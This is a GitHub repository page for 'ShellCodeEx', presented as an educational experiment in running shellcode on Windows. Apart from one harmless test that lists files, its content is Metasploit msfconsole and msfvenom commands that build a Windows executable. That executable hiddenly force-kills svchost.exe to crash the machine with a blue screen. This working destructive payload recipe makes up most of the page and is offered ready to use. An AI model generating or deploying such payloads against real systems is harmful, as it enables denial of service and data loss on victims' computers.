Skip to content

Zalexanninev15/ShellCodeEx

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

12 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

ShellCodeEx

Description

My personal experiment on executing shellcode on Windows. For educational purposes!!!

Kali Linux commands for generate shellcode

Install Metasploit Framework:

sudo apt install metasploit-framework -y

Test shellcode

msfconsole -x "use payload/windows/x64/exec; set CMD 'powershell -c \"ls\" && pause'; generate -f ps1; exit"

Generate BSOD (building an executable file)

msfvenom --platform windows --arch x64 -p windows/x64/exec CMD='cmd.exe /c start /min powershell -Command "Start-Process cmd -ArgumentList \"/c taskkill /F /IM svchost.exe\" -WindowStyle Hidden"' -b '\x00\x0A\x0D' -f exe -o bsod_kali.exe

Generate BSOD

msfconsole
> use payload/windows/x64/exec
> set CMD cmd.exe /c start /min powershell -Command \"Start-Process cmd -ArgumentList \\\"/c taskkill /F /IM svchost.exe\\\" -WindowStyle Hidden\"
> exit

About

My personal experiment on executing shellcode on Windows.

Topics

Resources

License

Stars

Watchers

Forks

Contributors